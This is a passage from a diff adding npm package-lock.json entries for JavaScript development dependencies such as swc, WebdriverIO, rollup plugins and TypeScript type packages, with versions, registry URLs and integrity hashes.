"browsers": "lib/cjs/main-cli.js" + }, + "engines": { + "node": ">=16.3.0" + } + }, + "node_modules/@puppeteer/browsers/node_modules/yargs": { + "version": "17.7.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.1.tgz", + "integrity": "sha512-cwiTb08Xuv5fqF4AovYacTFNxk62th7LKJ6BL9IGUpTJrWoU7/7WdQGTP2SjKf1dUNBGzDd28p/Yfs/GI6JrLw==", + "dev": true, + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@rollup/plugin-virtual": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@rollup/plugin-virtual/-/plugin-virtual-3.0.1.tgz", + "integrity": "sha512-fK8O0IL5+q+GrsMLuACVNk2x21g3yaw+sG2qn16SnUd3IlBsQyvWxLMGHmCmXRMecPjGRSZ/1LmZB4rjQm68og==", + "dev": true, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@rollup/pluginutils": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.0.4.tgz", + "integrity": "sha512-0KJnIoRI8A+a1dqOYLxH8vBf8bphDmty5QvIm2hqm7oFCFYKCAZWWd2hXgMibaPsNDhI0AtpYfQZJG47pt/k4g==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@sinclair/typebox": { + "version": "0.27.8", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", + "integrity": "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==", + "dev": true + }, + "node_modules/@sindresorhus/is": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-5.6.0.tgz", + "integrity": "sha512-TV7t8GKYaJWsn00tFDqBw8+Uqmr8A0fRU1tvTQhyZzGv0sJCGRQL3JGMI3ucuKo3XIZdUP+Lx7/gh2t3lewy7g==", + "dev": true, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sindresorhus/is?sponsor=1" + } + }, + "node_modules/@swc/core": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core/-/core-1.3.82.tgz", + "integrity": "sha512-jpC1a18HMH67018Ij2jh+hT7JBFu7ZKcQVfrZ8K6JuEY+kjXmbea07P9MbQUZbAe0FB+xi3CqEVCP73MebodJQ==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "@swc/types": "^0.1.4" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/swc" + }, + "optionalDependencies": { + "@swc/core-darwin-arm64": "1.3.82", + "@swc/core-darwin-x64": "1.3.82", + "@swc/core-linux-arm-gnueabihf": "1.3.82", + "@swc/core-linux-arm64-gnu": "1.3.82", + "@swc/core-linux-arm64-musl": "1.3.82", + "@swc/core-linux-x64-gnu": "1.3.82", + "@swc/core-linux-x64-musl": "1.3.82", + "@swc/core-win32-arm64-msvc": "1.3.82", + "@swc/core-win32-ia32-msvc": "1.3.82", + "@swc/core-win32-x64-msvc": "1.3.82" + }, + "peerDependencies": { + "@swc/helpers": "^0.5.0" + }, + "peerDependenciesMeta": { + "@swc/helpers": { + "optional": true + } + } + }, + "node_modules/@swc/core-darwin-arm64": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.3.82.tgz", + "integrity": "sha512-JfsyDW34gVKD3uE0OUpUqYvAD3yseEaicnFP6pB292THtLJb0IKBBnK50vV/RzEJtc1bR3g1kNfxo2PeurZTrA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-darwin-x64": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.3.82.tgz", + "integrity": "sha512-ogQWgNMq7qTpITjcP3dnzkFNj7bh6SwMr859GvtOTrE75H7L7jDWxESfH4f8foB/LGxBKiDNmxKhitCuAsZK4A==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-arm-gnueabihf": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.3.82.tgz", + "integrity": "sha512-7TMXG1lXlNhD0kUiEqs+YlGV4irAdBa2quuy+XI3oJf2fBK6dQfEq4xBy65B3khrorzQS3O0oDGQ+cmdpHExHA==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-arm64-gnu": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.3.82.tgz", + "integrity": "sha512-26JkOujbzcItPAmIbD5vHJxQVy5ihcSu3YHTKwope1h28sApZdtE7S3e2G3gsZRTIdsCQkXUtAQeqHxGWWR3pw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-arm64-musl": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.3.82.tgz", + "integrity": "sha512-8Izj9tuuMpoc3cqiPBRtwqpO1BZ/+sfZVsEhLxrbOFlcSb8LnKyMle1g3JMMUwI4EU75RGVIzZMn8A6GOKdJbA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-x64-gnu": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.3.82.tgz", + "integrity": "sha512-0GSrIBScQwTaPv46T2qB7XnDYxndRCpwH4HMjh6FN+I+lfPUhTSJKW8AonqrqT1TbpFIgvzQs7EnTsD7AnSCow==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-x64-musl": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.3.82.tgz", + "integrity": "sha512-KJUnaaepDKNzrEbwz4jv0iC3/t9x0NSoe06fnkAlhh2+NFKWKKJhVCOBTrpds8n7eylBDIXUlK34XQafjVMUdg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-arm64-msvc": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.3.82.tgz", + "integrity": "sha512-TR3MHKhDYIyGyFcyl2d/p1ftceXcubAhX5wRSOdtOyr5+K/v3jbyCCqN7bbqO5o43wQVCwwR/drHleYyDZvg8Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-ia32-msvc": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.3.82.tgz", + "integrity": "sha512-ZX4HzVVt6hs84YUg70UvyBJnBOIspmQQM0iXSzBvOikk3zRoN7BnDwQH4GScvevCEBuou60+i4I6d5kHLOfh8Q==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-x64-msvc": { + "version": "1.3.82", + "resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.3.82.tgz", + "integrity": "sha512-4mJMnex21kbQoaHeAmHnVwQN9/XAfPszJ6n9HI7SVH+aAHnbBIR0M59/b50/CJMjTj5niUGk7EwQ3nhVNOG32g==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/types": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.4.tgz", + "integrity": "sha512-z/G02d+59gyyUb7KYhKi9jOhicek6QD2oMaotUyG+lUkybpXoV49dY9bj7Ah5Q+y7knK2jU67UTX9FyfGzaxQg==", + "dev": true + }, + "node_modules/@szmarczak/http-timer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-5.0.1.tgz", + "integrity": "sha512-+PmQX0PiAYPMeVYe237LJAYvOMYW1j2rH5YROyS3b4CTVJum34HfRvKvAzozHAQG0TnHNdUfY9nCeUyRAs//cw==", + "dev": true, + "dependencies": { + "defer-to-connect": "^2.0.1" + }, + "engines": { + "node": ">=14.16" + } + }, + "node_modules/@tootallnate/quickjs-emscripten": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/@tootallnate/quickjs-emscripten/-/quickjs-emscripten-0.23.0.tgz", + "integrity": "sha512-C5Mc6rdnsaJDjO3UpGW/CQTHtCKaYlScZTly4JIu97Jxo/odCiH0ITnDXSJPTOrEKk/ycSZ0AOgTmkDtkOsvIA==", + "dev": true + }, + "node_modules/@tsconfig/node10": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.9.tgz", + "integrity": "sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==", + "dev": true + }, + "node_modules/@tsconfig/node12": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", + "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==", + "dev": true + }, + "node_modules/@tsconfig/node14": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", + "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==", + "dev": true + }, + "node_modules/@tsconfig/node16": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz", + "integrity": "sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==", + "dev": true + }, + "node_modules/@types/estree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz", + "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==", + "dev": true + }, + "node_modules/@types/http-cache-semantics": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", + "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==", + "dev": true + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", + "dev": true + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-WH6e5naLXI3vB2Px3whNeYxzDgm6S6sk3Ht8e3/BiWwEnzZi72wja3bWzWwcgbFTFp8hBLB7NT2p3lNJgxCxvA==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-coverage": "*", + "source-map": "^0.6.1" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/mocha": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-10.0.1.tgz", + "integrity": "sha512-/fvYntiO1GeICvqbQ3doGDIP97vWmvFt83GKguJ6prmQM2iXZfFcq6YE8KteFyRtX2/h5Hf91BYvPodJKFYv5Q==", + "dev": true + }, + "node_modules/@types/node": { + "version": "20.5.9", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.5.9.tgz", + "integrity": "sha512-PcGNd//40kHAS3sTlzKB9C9XL4K0sTup8nbG5lC14kzEteTNuAFh9u5nA0o5TWnSG2r/JNPRXFVcHJIIeRlmqQ==", + "dev": true + }, + "node_modules/@types/normalize-package-data": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz", + "integrity": "sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==", + "dev": true + }, + "node_modules/@types/stack-utils": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz", + "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==", + "dev": true + }, + "node_modules/@types/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@types/which/-/which-2.0.2.tgz", + "integrity": "sha512-113D3mDkZDjo+EeUEHCFy0qniNc1ZpecGiAU7WSo7YDoSzolZIQKpYFHrPpjkB2nuyahcKfrmLXeQlh7gqJYdw==", + "dev": true + }, + "node_modules/@types/ws": { + "version": "8.5.5", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.5.tgz", + "integrity": "sha512-lwhs8hktwxSjf9UaZ9tG5M03PGogvFaH8gUgLNbN9HKIg0dvv6q+gkSuJ8HN4/VbyxkuLzCjlN7GquQ0gUJfIg==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yargs": { + "version": "17.0.24", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.24.tgz", + "integrity": "sha512-6i0aC7jV6QzQB8ne1joVZ0eSFIstHsCrobmOtghM11yGlH0j43FKL2UhWdELkyps0zuf7qVTUVCCR+tgSlyLLw==", + "dev": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==", + "dev": true + }, + "node_modules/@types/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-Cn6WYCm0tXv8p6k+A8PvbDG763EDpBoTzHdA+Q/MF6H3sapGjCm9NzoaJncJS9tUKSuCoDs9XHxYYsQDgxR6kw==", + "dev": true, + "optional": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@vitest/spy": { + "version": "0.34.3", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-0.34.3.tgz", + "integrity": "sha512-N1V0RFQ6AI7CPgzBq9kzjRdPIgThC340DGjdKdPSE8r86aUSmeliTUgkTqLSgtEwWWsGfBQ+UetZWhK0BgJmkQ==", + "dev": true, + "dependencies": { + "tinyspy": "^2.1.1" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@wdio/browser-runner": { + "version": "8.16.4", + "resolved": "https://registry.npmjs.org/@wdio/browser-runner/-/browser-runner-8.16.4.tgz", + "integrity": "sha512-NFhDp527c3nwlI4sX7H7Ie3ypWv9EidY+1E1X/ACi3tQo41onC2cOujDPjbKm/nYj43C4MBMElojPOAMv/EbIA==", + "dev": true, + "dependencies": { + "@babel/plugin-proposal-class-properties": "^7.18.6", + "@originjs/vite-plugin-commonjs": "^1.0.3", + "@types/istanbul-lib-source-maps": "^4.0.1", + "@types/node": "^20.1.0", + "@vitest/spy": "^0.34.1", + "@wdio/globals": "8.16.4", + "@wdio/local-runner": "8.16.4", + "@wdio/logger": "8.11.0", + "@wdio/mocha-framework": "8.16.3", + "@wdio/protocols": "8.14.6", + "@wdio/types": "8.16.3", + "@wdio/utils": "8.16.3", + "ast-types": "^0.14.2", + "deepmerge-ts": "^5.0.0", + "expect-webdriverio": "^4.2.5", + "fast-safe-stringify": "^2.1.1", + "get-port": "^7.0.0", + "import-meta-resolve": "^3.0.0", + "istanbul-lib-coverage": "^3.2.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.1", + "istanbul-reports": "^3.1.5", + "mlly": "^1.4.0", + "modern-node-polyfills": "^1.0.0", + "recast": "^0.23.2", + "serialize-error": "^11.0.0", + "source-map-support": "^0.5.21", + "vite": "~4.4.6", + "vite-plugin-istanbul": "^5.0.0", + "vite-plugin-top-level-await": "^1.3.0", + "webdriver": "8.16.4", + "webdriverio": "8.16.4", + "ws": "^8.13.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/browser-runner/node_modules/ast-types": { + "version": "0.14.2", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.14.2.tgz", + "integrity": "sha512-O0yuUDnZeQDL+ncNGlJ78BiO4jnYI3bvMsD5prT0/nsgijG/LpNBIr63gTjVTNsiGkgQhiyCShTgxt8oXOrklA==", + "dev": true, + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@wdio/cli": { + "version": "8.16.4", + "resolved": "https://registry.npmjs.org/@wdio/cli/-/cli-8.16.4.tgz", + "integrity": "sha512-iRbZSeH+WPdRXE478l7deorw8BFBTGIFKnzYBVe/hPFho4vn1/kDnHm0tY6uBDNX1EiNdyAgvktqYl+VB3TLzA==", + "dev": true, + "dependencies": { + "@types/node": "^20.1.1", + "@wdio/config": "8.16.3", + "@wdio/globals": "8.16.4", + "@wdio/logger": "8.11.0", + "@wdio/protocols": "8.14.6", + "@wdio/types": "8.16.3", + "@wdio/utils": "8.16.3", + "async-exit-hook": "^2.0.1", + "chalk": "^5.2.0", + "chokidar": "^3.5.3", + "cli-spinners": "^2.9.0", + "dotenv": "^16.3.1", + "ejs": "^3.1.9", + "execa": "^8.0.1", + "import-meta-resolve": "^3.0.0", + "inquirer": "9.2.10", + "lodash.flattendeep": "^4.4.0", + "lodash.pickby": "^4.6.0", + "lodash.union": "^4.6.0", + "read-pkg-up": "10.1.0", + "recursive-readdir": "^2.2.3", + "webdriverio": "8.16.4", + "yargs": "^17.7.2", + "yarn-install": "^1.0.0" + }, + "bin": { + "wdio": "bin/wdio.js" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/config": { + "version": "8.16.3", + "resolved": "https://registry.npmjs.org/@wdio/config/-/config-8.16.3.tgz", + "integrity": "sha512-jSiv+lG/hHmVz933oXw+7rI51wGQSsxpxZTOjSylrQz6pngUrB/RxApPSX4VLPZfKxkucxHQ4PO5nuJ8satusg==", + "dev": true, + "dependencies": { + "@wdio/logger": "8.11.0", + "@wdio/types": "8.16.3", + "@wdio/utils": "8.16.3", + "decamelize": "^6.0.0", + "deepmerge-ts": "^5.0.0", + "glob": "^10.2.2", + "import-meta-resolve": "^3.0.0", + "read-pkg-up": "^10.0.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/globals": { + "version": "8.16.4", + "resolved": "https://registry.npmjs.org/@wdio/globals/-/globals-8.16.4.tgz", + "integrity": "sha512-Ia+59jZ+ZonrdZk/Vk98m7AEHZWUZBoJtRwOx5IPXeWCSdi+Sz2+lQzEzSGWJv+iYxsI7qI5Lyv66Th4e5SiLg==", + "dev": true, + "engines": { + "node": "^16.13 || >=18" + }, + "optionalDependencies": { + "expect-webdriverio": "^4.2.5", + "webdriverio": "8.16.4" + } + }, + "node_modules/@wdio/local-runner": { + "version": "8.16.4", + "resolved": "https://registry.npmjs.org/@wdio/local-runner/-/local-runner-8.16.4.tgz", + "integrity": "sha512-lIEcS6RDwGL4JyxOUdt9y2bKhJS7jMX1bdxfKSt9HUhZsBK0deoFMrMqtwRoF8HsKLt58gfHu2ADi3rES0wUNA==", + "dev": true, + "dependencies": { + "@types/node": "^20.1.0", + "@wdio/logger": "8.11.0", + "@wdio/repl": "8.10.1", + "@wdio/runner": "8.16.4", + "@wdio/types": "8.16.3", + "async-exit-hook": "^2.0.1", + "split2": "^4.1.0", + "stream-buffers": "^3.0.2" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/logger": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/@wdio/logger/-/logger-8.11.0.tgz", + "integrity": "sha512-IsuKSaYi7NKEdgA57h8muzlN/MVp1dQG+V4C//7g4m03YJUnNQLvDhJzLjdeNTfvZy61U7foQSyt+3ktNzZkXA==", + "dev": true, + "dependencies": { + "chalk": "^5.1.2", + "loglevel": "^1.6.0", + "loglevel-plugin-prefix": "^0.8.4", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/mocha-framework": { + "version": "8.16.3", + "resolved": "https://registry.npmjs.org/@wdio/mocha-framework/-/mocha-framework-8.16.3.tgz", + "integrity": "sha512-aORPOQPiSQ5g26BSbaQkfO3MQUlpa99ZByc4tZPvQl84/Do0rvCP3JWfE4Db1YehStVKpisGwK7fUA6fpWkFQA==", + "dev": true, + "dependencies": { + "@types/mocha": "^10.0.0", + "@types/node": "^20.1.0", + "@wdio/logger": "8.11.0", + "@wdio/types": "8.16.3", + "@wdio/utils": "8.16.3", + "mocha": "^10.0.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/protocols": { + "version": "8.14.6", + "resolved": "https://registry.npmjs.org/@wdio/protocols/-/protocols-8.14.6.tgz", + "integrity": "sha512-KM2taEMUDEt1of0Na/6kIv/aNzX0pmr0etpKRci4QrWPQ1O11dXxWjkatFILQz6qOVKvQ0v+vkTPQRUllmH+uQ==", + "dev": true + }, + "node_modules/@wdio/repl": { + "version": "8.10.1", + "resolved": "https://registry.npmjs.org/@wdio/repl/-/repl-8.10.1.tgz", + "integrity": "sha512-VZ1WFHTNKjR8Ga97TtV2SZM6fvRjWbYI2i/f4pJB4PtusorKvONAMJf2LQcUBIyzbVobqr7KSrcjmSwRolI+yw==", + "dev": true, + "dependencies": { + "@types/node": "^20.1.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/reporter": { + "version": "8.16.3", + "resolved": "https://registry.npmjs.org/@wdio/reporter/-/reporter-8.16.3.tgz", + "integrity": "sha512-sxjFbxeZF0130kwSbHGb1FLP1a+RbW41MI78sa0IKz5SnyTRbjexd9nUuP41cYKZqu+ADgtx+i7sH8+3zuffkA==", + "dev": true, + "dependencies": { + "@types/node": "^20.1.0", + "@wdio/logger": "8.11.0", + "@wdio/types": "8.16.3", + "diff": "^5.0.0", + "object-inspect": "^1.12.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/runner": { + "version": "8.16.4", + "resolved": "https://registry.npmjs.org/@wdio/runner/-/runner-8.16.4.tgz", + "integrity": "sha512-sIVLAU+BRuBYQDbLpP5M80rvbiYdvJU7OREz5AMTOAwdJRaq9SXBX6IW01bxTYn7O10f/ajYU4pn1LYUaPrKlw==", + "dev": true, + "dependencies": { + "@types/node": "^20.1.0", + "@wdio/config": "8.16.3", + "@wdio/globals": "8.16.4", + "@wdio/logger": "8.11.0", + "@wdio/types": "8.16.3", + "@wdio/utils": "8.16.3", + "deepmerge-ts": "^5.0.0", + "expect-webdriverio": "^4.2.5", + "gaze": "^1.1.2", + "webdriver": "8.16.4", + "webdriverio": "8.16.4" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/spec-reporter": { + "version": "8.16.3", + "resolved": "https://registry.npmjs.org/@wdio/spec-reporter/-/spec-reporter-8.16.3.tgz", + "integrity": "sha512-LtbVQ+l1crRdMJsvZ5A57Ln1xw0rqofxWXa988VjLZA59KIw6xgevlrjwbaXLCdTCixW36lH2bUYm/S23LBfSg==", + "dev": true, + "dependencies": { + "@wdio/reporter": "8.16.3", + "@wdio/types": "8.16.3", + "chalk": "^5.1.2", + "easy-table": "^1.2.0", + "pretty-ms": "^7.0.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/types": { + "version": "8.16.3", + "resolved": "https://registry.npmjs.org/@wdio/types/-/types-8.16.3.tgz", + "integrity": "sha512-cH6eKNKkx5ZVJxf7omwtqt88N/mI8Hn2qnXe4DHIYNC4wSDFPhSsuurRhH7s7fnk3biLEQfinuc3cxV0HefSVw==", + "dev": true, + "dependencies": { + "@types/node": "^20.1.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/@wdio/utils": { + "version": "8.16.3", + "resolved": "https://registry.npmjs.org/@wdio/utils/-/utils-8.16.3.tgz", + "integrity": "sha512-bX/sYOM+tI4hjMIcvSdL522c2xwkas6pII6AUhuBT2UIUkJnp7+OHijJ1l5kHAzRewCdcL3W4dm9exPH2URU+Q==", + "dev": true, + "dependencies": { + "@puppeteer/browsers": "^1.6.0", + "@wdio/logger": "8.11.0", + "@wdio/types": "8.16.3", + "decamelize": "^6.0.0", + "deepmerge-ts": "^5.1.0", + "edgedriver": "^5.3.5", + "geckodriver": "^4.2.0", + "get-port": "^7.0.0", + "got": "^13.0.0", + "import-meta-resolve": "^3.0.0", + "locate-app": "^2.1.0", + "safaridriver": "^0.1.0", + "wait-port": "^1.0.4" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz", + "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/agent-base": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.0.tgz", + "integrity": "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg==", + "dev": true, + "dependencies": { + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/ansi-colors": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz", + 